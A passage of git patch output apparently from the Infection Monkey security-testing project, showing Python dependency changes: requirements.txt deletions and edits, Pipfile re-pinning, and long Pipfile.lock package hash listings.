"sha256:3873866534b6527e6863e742eb23ea2a539e3c7ee00ad3f9bec9da27dbaaff6f", + "sha256:3dbc67754882d740f17809342892f0b24398770bd99d48c5cb5ba89f5f5dee4e", + "sha256:413b18ac2222f5d961eb8d1c8dcca6c6ca176c8613636d8c13aa23abae7f7a21", + "sha256:42f9ec9d77358f557fe17cc15e796c4d4d492ede1a30cba3664822cae66e97c5", + "sha256:4ac387ac1be71b798d1c372a924f9c30352f30e684e06f086091297352698ac0", + "sha256:4ca92e15fcf02e02e7c24b448a16599b98c9d0e6a46cd85cc50804450ebf7245", + "sha256:4d959e929cec805c2bf391418b1121590b4e7d5cb00af7b1ba521443d45a0918", + "sha256:5091aacbdb667b418b751157f48f6daa17142c4f9063d58e5a64c90b2afbdf9a", + "sha256:5a03ae5ac85b04b2034a0689add9ff597b16d5e24066a87f6ab0e9fa67049156", + "sha256:5e1341276ce8b7752db9aeac6bbb0cbe82a3f6a6186866bf6b4906d8d328d50b", + "sha256:6043d251fac27ca04ff22ed8deb5ff7a43dc18e8a4a15b4c442d2a20fa313162", + "sha256:610d5cbbfd026e2f6d15665af51e048e49b68363fedece2ed318cc8fe080dd94", + "sha256:622a5157ffcd793d305387c1c9fb94185f496c8c9fd66dafb59de0807bc14ad7", + "sha256:65b67637f0a25ac9d25efb13c1578eb065870220ffa82f132c5b2d8e43ac39c3", + "sha256:66573c8c7808cce4f3b56c23cb7cad6c3d7f4c464b9016d35f5344ad743896d7", + "sha256:66b688fc139c6742057795510e3b12c4acbf90d11af1eff9689a41d9c84478d6", + "sha256:685b884fa41bd2913fd20af85866c4ff886b7cbb7e4833b918996aa5d45a04be", + "sha256:6a5834e392c97f19f36670e34bf9d346d733ad89ee0689a6419dd737dfa4308a", + "sha256:728313cc0d59d1a1a004f675607dcf5c711ced3f55e75d82b3f264fd758869f3", + "sha256:733e1cfffc4cd99848230e2999c8a86e284c6af6746482f8ad2ad554dce14e39", + "sha256:7814b2cf23aad23464859973c5cd2066ca2fd99e0b934acefbb0b728ac2525bf", + "sha256:7c77801620e5e75fb9c7abae235d3cc45d212a67efa98f4972eef63e736a8daa", + "sha256:7cd42c66d49ffb68dea065e1c8a4323e7ceab386e660fee9863d4fa227302ba9", + "sha256:7d2ae2f7c50adec20fde46a73465de31a6a6fbb4903240f8b7304549752ca7a1", + "sha256:7edff02e44dd0badd749d7342e40705a398d98c5d8f7570f57cff9568c2351fa", + "sha256:87981008d565f647142869d99915cc4760b7725858da3d39ecb2a606e23f36fd", + "sha256:92e2376ce3ca0e3e443b3c5c2bb5d584c7e59221edfb0035313c6306049ba55a", + "sha256:950710f7370613a6bfa2ccd842b488c5b8072e83fb6b7d45d99110bf44651d06", + "sha256:980527f4ccc6644855bb68056fe7835da6d06d37776a52df5bcc1882df57c3db", + "sha256:9fbffc5bad4df99a509783cbd449ed0d24fcd5a450c28e7756c8f20eda3d2aa5", + "sha256:a8b02e0119d6ee381a265d8d2450a38096f82916d895fed2dfd81d4c7a54d6e4", + "sha256:b17e627844d86031c77147c40bf992a6e1114025a460874deeda6500d0f34862", + "sha256:b1aa62903a2c5768b0001632efdea2e8da6c80abdd520c2e8a16001cc9affb23", + "sha256:b32e4eed2ef19a20dfb57698497a9bc54e74efb2e260c003e9056c145f130dc7", + "sha256:b44fa04720bbfd617b6aef036989c8c30435f11450c0a59136291d7b41ed647f", + "sha256:b4535d98df83abebb572035754fb3d4ad09ce7449375fa09fa9ede2dbc87b62b", + "sha256:bb6a5777bf558f444cd4883d617546182cfeff8f2d4acd885253f11a16740534", + "sha256:bc2eb67387b8376120a2be6cba9d23f9d6a6c3828e00fb0a64c55ad7b54116d1", + "sha256:bd351ceb2decd23d523fc50bad631ee9ae6e97e7cdc355ce5600fe310484f96e", + "sha256:bf70097bd497089f1baabf9cbb3ec4f69c022dc7a70c41ba9c238fa4d0fff7ab", + "sha256:c7fd18d4b7939408df9315fedbdb05e179760960a92b3752498e2fcd03f24c3d", + "sha256:cc359e408712faf9ea775f4c0ec8f2bfc843afe47747a657808d9595edd34d71", + "sha256:cd8fc35d4c0c717cc29b0cb894871555cb7137a081e179877ecc537e2607f0b9", + "sha256:daa44cefde19978af57ac1d50413cd86ebf2b497328e7a27832f5824bda47439", + "sha256:db5098587f58fbf8582d9bda2462762b367207246d3e19623782fb449c3c5fcc", + "sha256:db6fd53ef5f1914ad801830406440c3bfb701e38a607eda47c38adba267ba300", + "sha256:e1414599a97554d451e441afb362dbee1505e4550852c0068370d843757a3fe2", + "sha256:ee42a8f850143ae7c67ea09a183a6a4ad8d053e1dbd9a1134e21a7b5c1bc6c73", + "sha256:f23abcf6eca5859a2982beadfb5111f8c5e76e30ff99aaee3c1c327f814f9f10", + "sha256:f6748c447feeadda059719ef5ab1fb9d84bd370e205b20049a0e8b45ef4ad593" + ], + "version": "==3.11.3" + }, + "pyparsing": { + "hashes": [ + "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1", + "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==2.4.7" + }, + "pyrsistent": { + "hashes": [ + "sha256:2e636185d9eb976a18a8a8e96efce62f2905fea90041958d8cc2a189756ebf3e" + ], + "markers": "python_version >= '3.5'", + "version": "==0.17.3" + }, + "pytest": { + "hashes": [ + "sha256:671238a46e4df0f3498d1c3270e5deb9b32d25134c99b7d75370a68cfbe9b634", + "sha256:6ad9c7bdf517a808242b998ac20063c41532a570d088d77eec1ee12b0b5574bc" + ], + "index": "pypi", + "version": "==6.2.3" + }, + "python-dateutil": { + "hashes": [ + "sha256:73ebfe9dbf22e832286dafa60473e4cd239f8592f699aa5adaf10050e6e1823c", + "sha256:75bb3f31ea686f1197762692a9ee6a7550b59fc6ca3a1f4b5d7e32fb98e2da2a" + ], + "index": "pypi", + "version": "==2.8.1" + }, + "pytz": { + "hashes": [ + "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da", + "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798" + ], + "version": "==2021.1" + }, + "pywin32-ctypes": { + "hashes": [ + "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", + "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" + ], + "version": "==0.2.0" + }, + "pyyaml": { + "hashes": [ + "sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97", + "sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76", + "sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2", + "sha256:6034f55dab5fea9e53f436aa68fa3ace2634918e8b5994d82f3621c04ff5ed2e", + "sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648", + "sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf", + "sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f", + "sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2", + "sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee", + "sha256:ad9c67312c84def58f3c04504727ca879cb0013b2517c85a9a253f0cb6380c0a", + "sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d", + "sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c", + "sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a" + ], + "markers": "python_version != '3.4'", + "version": "==5.3.1" + }, + "requests": { + "hashes": [ + "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", + "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + ], + "index": "pypi", + "version": "==2.25.1" + }, + "requests-mock": { + "hashes": [ + "sha256:11215c6f4df72702aa357f205cf1e537cffd7392b3e787b58239bde5fb3db53b", + "sha256:e68f46844e4cee9d447150343c9ae875f99fa8037c6dcf5f15bf1fe9ab43d226" + ], + "index": "pypi", + "version": "==1.8.0" + }, + "ring": { + "hashes": [ + "sha256:cee547eece9f1b4dd5bf7cfc7ecddd7c730458a0d00d9fc4a949a6604b2207c1" + ], + "index": "pypi", + "version": "==0.7.3" + }, + "rsa": { + "hashes": [ + "sha256:35c5b5f6675ac02120036d97cf96f1fde4d49670543db2822ba5015e21a18032", + "sha256:4d409f5a7d78530a4a2062574c7bd80311bc3af29b364e293aa9b03eea77714f" + ], + "markers": "python_version != '3.4'", + "version": "==4.5" + }, + "s3transfer": { + "hashes": [ + "sha256:35627b86af8ff97e7ac27975fe0a98a312814b46c6333d8a6b889627bcd80994", + "sha256:efa5bd92a897b6a8d5c1383828dca3d52d0790e0756d49740563a3fb6ed03246" + ], + "version": "==0.3.7" + }, + "sentinels": { + "hashes": [ + "sha256:7be0704d7fe1925e397e92d18669ace2f619c92b5d4eb21a89f31e026f9ff4b1" + ], + "version": "==1.0.0" + }, + "simplejson": { + "hashes": [ + "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667", + "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3", + "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043", + "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb", + "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0", + "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d", + "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8", + "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f", + "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf", + "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748", + "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278", + "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4", + "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a", + "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8", + "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d", + "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971", + "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841", + "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f", + "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b", + "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45", + "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9", + "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6", + "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc", + "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956", + "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d", + "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746", + "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a", + "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0", + "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25", + "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625", + "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995", + "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46", + "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f", + "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a", + "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139", + "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f", + "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da", + "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34", + "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b", + "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94", + "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04", + "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b", + "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396", + "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06", + "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb" + ], + "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2'", + "version": "==3.17.2" + }, + "six": { + "hashes": [ + "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", + "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" + ], + "index": "pypi", + "version": "==1.15.0" + }, + "stix2": { + "hashes": [ + "sha256:15c9cf599f5c43124e76fe71b883e4918f6f4cf65b084c58ec64b6180f45c938", + "sha256:3ab60082e4bffb39f75ea9ddc338b64126ff1cd086e6173d39b860191ac26ff4" + ], + "index": "pypi", + "version": "==2.1.0" + }, + "stix2-patterns": { + "hashes": [ + "sha256:174fe5302d2c3223205033af987754132a9ea45a9f8e08aefafbe0549c889ea4", + "sha256:bc46cc4eba44b76a17eab7a3ff67f35203543cdb918ab24c1ebd58403fa27992" + ], + "version": "==1.3.2" + }, + "toml": { + "hashes": [ + "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b", + "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==0.10.2" + }, + "tqdm": { + "hashes": [ + "sha256:daec693491c52e9498632dfbe9ccfc4882a557f5fa08982db1b4d3adbe0887c3", + "sha256:ebdebdb95e3477ceea267decfc0784859aa3df3e27e22d23b83e9b272bf157ae" + ], + "index": "pypi", + "version": "==4.60.0" + }, + "typing-extensions": { + "hashes": [ + "sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918", + "sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c", + "sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f" + ], + "markers": "python_version < '3.8'", + "version": "==3.7.4.3" + }, + "urllib3": { + "hashes": [ + "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2", + "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e" + ], + "markers": "python_version != '3.4'", + "version": "==1.25.11" + }, + "virtualenv": { + "hashes": [ + "sha256:49ec4eb4c224c6f7dd81bb6d0a28a09ecae5894f4e593c89b0db0885f565a107", + "sha256:83f95875d382c7abafe06bd2a4cdd1b363e1bb77e02f155ebe8ac082a916b37c" + ], + "index": "pypi", + "version": "==20.4.3" + }, + "werkzeug": { + "hashes": [ + "sha256:2de2a5db0baeae7b2d2664949077c2ac63fbd16d98da0ff71837f7d1dea3fd43", + "sha256:6c80b1e5ad3665290ea39320b91e1be1e0d5f60652b964a3070216de83d2e47c" + ], + "index": "pypi", + "version": "==1.0.1" + }, + "wirerope": { + "hashes": [ + "sha256:a8cb4642c83a55add676923059b4f9c61d785ac6dc71ff1d9de2aac4aed4a517" + ], + "version": "==0.3.0" + }, + "zipp": { + "hashes": [ + "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", + "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.1" + }, + "zope.event": { + "hashes": [ + "sha256:2666401939cdaa5f4e0c08cf7f20c9b21423b95e88f4675b1443973bdb080c42", + "sha256:5e76517f5b9b119acf37ca8819781db6c16ea433f7e2062c4afc2b6fbedb1330" + ], + "version": "==4.5.0" + }, + "zope.interface": { + "hashes": [ + "sha256:02d3535aa18e34ce97c58d241120b7554f7d1cf4f8002fc9675cc7e7745d20e8", + "sha256:0378a42ec284b65706d9ef867600a4a31701a0d6773434e6537cfc744e3343f4", + "sha256:07d289358a8c565ea09e426590dd1179f93cf5ac3dd17d43fcc4fc63c1a9d275", + "sha256:0e6cdbdd94ae94d1433ab51f46a76df0f2cd041747c31baec1c1ffa4e76bd0c1", + "sha256:11354fb8b8bdc5cdd66358ed4f1f0ce739d78ff6d215d33b8f3ae282258c0f11", + "sha256:12588a46ae0a99f172c4524cbbc3bb870f32e0f8405e9fa11a5ef3fa3a808ad7", + "sha256:16caa44a06f6b0b2f7626ced4b193c1ae5d09c1b49c9b4962c93ae8aa2134f55", + "sha256:18c478b89b6505756f007dcf76a67224a23dcf0f365427742ed0c0473099caa4", + "sha256:221b41442cf4428fcda7fc958c9721c916709e2a3a9f584edd70f1493a09a762", + "sha256:26109c50ccbcc10f651f76277cfc05fba8418a907daccc300c9247f24b3158a2", + "sha256:28d8157f8c77662a1e0796a7d3cfa8910289131d4b4dd4e10b2686ab1309b67b", + "sha256:2c51689b7b40c7d9c7e8a678350e73dc647945a13b4e416e7a02bbf0c37bdb01", + "sha256:2ec58e1e1691dde4fbbd97f8610de0f8f1b1a38593653f7d3b8e931b9cd6d67f", + "sha256:416feb6500f7b6fc00d32271f6b8495e67188cb5eb51fc8e289b81fdf465a9cb", + "sha256:520352b18adea5478bbf387e9c77910a914985671fe36bc5ef19fdcb67a854bc", + "sha256:527415b5ca201b4add44026f70278fbc0b942cf0801a26ca5527cb0389b6151e", + "sha256:54243053316b5eec92affe43bbace7c8cd946bc0974a4aa39ff1371df0677b22", + "sha256:61b8454190b9cc87279232b6de28dee0bad040df879064bb2f0e505cda907918", + "sha256:672668729edcba0f2ee522ab177fcad91c81cfce991c24d8767765e2637d3515", + "sha256:67aa26097e194947d29f2b5a123830e03da1519bcce10cac034a51fcdb99c34f", + "sha256:6e7305e42b5f54e5ccf51820de46f0a7c951ba7cb9e3f519e908545b0f5628d0", + "sha256:7234ac6782ca43617de803735949f79b894f0c5d353fbc001d745503c69e6d1d", + "sha256:7426bea25bdf92f00fa52c7b30fcd2a2f71c21cf007178971b1f248b6c2d3145", + "sha256:74b331c5d5efdddf5bbd9e1f7d8cb91a0d6b9c4ba45ca3e9003047a84dca1a3b", + "sha256:79b6db1a18253db86e9bf1e99fa829d60fd3fc7ac04f4451c44e4bdcf6756a42", + "sha256:7d79cd354ae0a033ac7b86a2889c9e8bb0bb48243a6ed27fc5064ce49b842ada", + "sha256:823d1b4a6a028b8327e64865e2c81a8959ae9f4e7c9c8e0eec814f4f9b36b362", + "sha256:8715717a5861932b7fe7f3cbd498c82ff4132763e2fea182cc95e53850394ec1", + "sha256:89a6091f2d07936c8a96ce56f2000ecbef20fb420a94845e7d53913c558a6378", + "sha256:8af4b3116e4a37059bc8c7fe36d4a73d7c1d8802a1d8b6e549f1380d13a40160", + "sha256:8b4b0034e6c7f30133fa64a1cc276f8f1a155ef9529e7eb93a3c1728b40c0f5c", + "sha256:92195df3913c1de80062635bf64cd7bd0d0934a7fa1689b6d287d1cbbd16922c", + "sha256:96c2e68385f3848d58f19b2975a675532abdb65c8fa5f04d94b95b27b6b1ffa7", + "sha256:9c7044dbbf8c58420a9ef4ed6901f5a8b7698d90cd984d7f57a18c78474686f6", + "sha256:a1937efed7e3fe0ee74630e1960df887d8aa83c571e1cf4db9d15b9c181d457d", + "sha256:a38c10423a475a1658e2cb8f52cf84ec20a4c0adff724dd43a6b45183f499bc1", + "sha256:a413c424199bcbab71bf5fa7538246f27177fbd6dd74b2d9c5f34878658807f8", + "sha256:b18a855f8504743e0a2d8b75d008c7720d44e4c76687e13f959e35d9a13eb397", + "sha256:b4d59ab3608538e550a72cea13d3c209dd72b6e19e832688da7884081c01594e", + "sha256:b51d3f1cd87f488455f43046d72003689024b0fa9b2d53635db7523033b19996", + "sha256:c02105deda867d09cdd5088d08708f06d75759df6f83d8f7007b06f422908a30", + "sha256:c7b6032dc4490b0dcaf078f09f5b382dc35493cb7f473840368bf0de3196c2b6", + "sha256:c95b355dba2aaf5177dff943b25ded0529a7feb80021d5fdb114a99f0a1ef508", + "sha256:c980ae87863d76b1ea9a073d6d95554b4135032d34bc541be50c07d4a085821b", + "sha256:d12895cd083e35e9e032eb4b57645b91116f8979527381a8d864d1f6b8cb4a2e", + "sha256:d3cd9bad547a8e5fbe712a1dc1413aff1b917e8d39a2cd1389a6f933b7a21460", + "sha256:e8809b01f27f679e3023b9e2013051e0a3f17abff4228cb5197663afd8a0f2c7", + "sha256:f3c37b0dc1898e305aad4f7a1d75f6da83036588c28a9ce0afc681ff5245a601", + "sha256:f966765f54b536e791541458de84a737a6adba8467190f17a8fe7f85354ba908", + "sha256:fa939c2e2468142c9773443d4038e7c915b0cc1b670d3c9192bdc503f7ea73e9", + "sha256:fcc5c1f95102989d2e116ffc8467963554ce89f30a65a3ea86a4d06849c498d8" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.3.0" + } + }, + "develop": {} +} diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt deleted file mode 100644 index b5be47a88e1..00000000000 --- a/monkey/monkey_island/requirements.txt +++ /dev/null @@ -1,31 +0,0 @@ -Flask-JWT-Extended==3.24.1 -Flask-Pymongo>=2.3.0 -Flask-Restful>=0.3.8 -PyInstaller==3.6 -awscli==1.18.131 -boto3==1.14.54 -botocore==1.17.54 -cffi>=1.8,!=1.11.3 -dpath>=2.0 -flask>=1.1 -gevent>=20.9.0 -ipaddress>=1.0.23 -jsonschema==3.2.0 -mongoengine==0.20 -mongomock==3.19.0 -netifaces>=0.10.9 -pycryptodome==3.9.8 -pytest>=5.4 -python-dateutil>=2.1,<3.0.0 -requests>=2.24 -requests-mock==1.8.0 -ring>=0.7.3 -stix2>=2.0.2 -six>=1.13.0 -tqdm>=4.47 -virtualenv>=20.0.26 -werkzeug>=1.0.1 -wheel>=0.34.2 -git+https://github.com/guardicode/ScoutSuite - -pyjwt==1.7 # not directly required, pinned by Snyk to avoid a vulnerability From 465023b64d0b3c30bd017abeab8697bebdcf9685 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 13:17:03 +0300 Subject: [PATCH 0254/1360] Removed cryptography dependency from infection monkey agent dependencies and added eggs to git dependencies --- monkey/infection_monkey/requirements.txt | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index bd08ec18606..e67dd89273f 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -1,8 +1,7 @@ -cryptography==2.5 WinSys-3.x>=0.5.2 cffi>=1.14 ecdsa==0.15 -git+https://github.com/guardicore/pyinstaller +git+https://github.com/guardicore/pyinstaller#egg=pyinstaller impacket>=0.9 ipaddress>=1.0.23 netifaces>=0.10.9 @@ -18,5 +17,5 @@ pysmb==1.2.5 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' urllib3==1.25.8 -git+https://github.com/guardicode/ScoutSuite +git+https://github.com/guardicode/ScoutSuite#egg=ScoutSuite simplejson From eca26b596b8f76d3200ae48a3853691f652fc98a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 14:43:45 +0300 Subject: [PATCH 0255/1360] Fixed island requirements frozen in PipFile to better correlate with already deleted requirements.txt --- monkey/monkey_island/Pipfile | 18 +-- monkey/monkey_island/Pipfile.lock | 182 ++++++++++++++++++++++++++++-- 2 files changed, 183 insertions(+), 17 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index e2255c54338..84ba30eacf1 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -4,35 +4,37 @@ verify_ssl = true name = "pypi" [packages] -flask-jwt-extended = "==3.24.1" -flask-pymongo = ">=2.3.0" -flask-restful = ">=0.3.8" pyinstaller = "==3.6" awscli = "==1.18.131" boto3 = "==1.14.54" botocore = "==1.17.54" -cffi = "!=1.11.3,>=1.8" +cffi = ">=1.8,!=1.11.3" dpath = ">=2.0" -flask = ">=1.1" gevent = ">=20.9.0" ipaddress = ">=1.0.23" jsonschema = "==3.2.0" mongoengine = "==0.20" netifaces = ">=0.10.9" pycryptodome = "==3.9.8" -python-dateutil = ">=2.1,<3.0.0" +python-dateutil = "<3.0.0,>=2.1" requests = ">=2.24" ring = ">=0.7.3" stix2 = ">=2.0.2" six = ">=1.13.0" tqdm = ">=4.47" -werkzeug = ">=1.0.1" +Flask-JWT-Extended = "==3.24.1" +Flask-PyMongo = ">=2.3.0" +Flask-RESTful = ">=0.3.8" +Flask = ">=1.1" +Werkzeug = ">=1.0.1" +ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} +PyJWT = "==1.7" [dev-packages] virtualenv = ">=20.0.26" +mongomock = "==3.19.0" pytest = ">=5.4" requests-mock = "==1.8.0" -mongomock = "==3.19.0" [requires] python_version = "3.7" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index fc951a7f1d7..e2e24914c7a 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "f9eb21e5454544ee546c47d07be126ab22031b712cb16dc5bd68ebe36e665e10" + "sha256": "4d495805a711a7ae4fa78018f82bc47b97eaf11276898a40adc174cfa42431cb" }, "pipfile-spec": 6, "requires": { @@ -44,6 +44,13 @@ ], "version": "==1.4.4" }, + "asyncio-throttle": { + "hashes": [ + "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" + ], + "markers": "python_version >= '3.5'", + "version": "==0.1.1" + }, "atomicwrites": { "hashes": [ "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", @@ -142,6 +149,30 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==4.0.0" }, + "cheroot": { + "hashes": [ + "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", + "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==8.5.2" + }, + "cherrypy": { + "hashes": [ + "sha256:56608edd831ad00991ae585625e0206ed61cf1a0850e4b2cc48489fb2308c499", + "sha256:c0a7283f02a384c112a0a18404fd3abd849fc7fd4bec19378067150a2573d2e4" + ], + "markers": "python_version >= '3.5'", + "version": "==18.6.0" + }, + "cherrypy-cors": { + "hashes": [ + "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", + "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" + ], + "markers": "python_version >= '2.7'", + "version": "==1.6" + }, "click": { "hashes": [ "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", @@ -155,9 +186,16 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4' and sys_platform == 'win32'", + "markers": "python_version != '3.4' and sys_platform == 'win32' and sys_platform == 'win32'", "version": "==0.4.3" }, + "coloredlogs": { + "hashes": [ + "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", + "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" + ], + "version": "==10.0" + }, "distlib": { "hashes": [ "sha256:8c09de2c67b3e7deef7184574fc060ab8a793e7adbb183d942c389c8b13c52fb", @@ -309,6 +347,20 @@ "markers": "platform_python_implementation == 'CPython'", "version": "==1.0.0" }, + "httpagentparser": { + "hashes": [ + "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26" + ], + "version": "==1.9.1" + }, + "humanfriendly": { + "hashes": [ + "sha256:066562956639ab21ff2676d1fda0b5987e985c534fc76700a19bd54bcb81121d", + 